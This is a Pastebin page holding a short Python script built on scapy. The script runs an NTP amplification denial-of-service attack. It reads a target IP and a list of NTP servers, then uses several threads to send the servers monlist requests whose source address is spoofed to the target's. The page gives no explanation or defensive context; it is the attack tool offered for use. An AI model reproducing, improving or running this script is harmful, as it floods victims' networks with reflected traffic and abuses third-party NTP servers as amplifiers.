Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import random
- import threading
- from scapy.all import *
- try:
- ip = raw_input("Target: ")
- threads = input("Threads: ")
- openList = raw_input("List: ")
- with open(openList, "r") as openedList:
- lines = openedList.readlines()
- payload = "\x17\x00\x03\x2a\x00\x00\x00\x00"
- i = 0
- ntpList = []
- for line in lines:
- ntpList.append(line.rstrip("\n"))
- if int(threads) > int(len(ntpList)):
- print("")
- print("Current Threads: %s" % threads)
- print("Max Threads: %s" % len(ntpList))
- print("Quitting...")
- quit()
- def ntpflood():
- global i
- try:
- while True:
- port = random.randint(1, 65535)
- packet = IP(src=ip, dst=ntpList[i])/UDP(sport=port, dport=123)/Raw(load=payload)
- i += 1
- send(packet, loop=1, verbose=0)
- except:
- pass
- for i in range(int(threads)):
- thread = threading.Thread(target=ntpflood)
- thread.start()
- except:
- pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement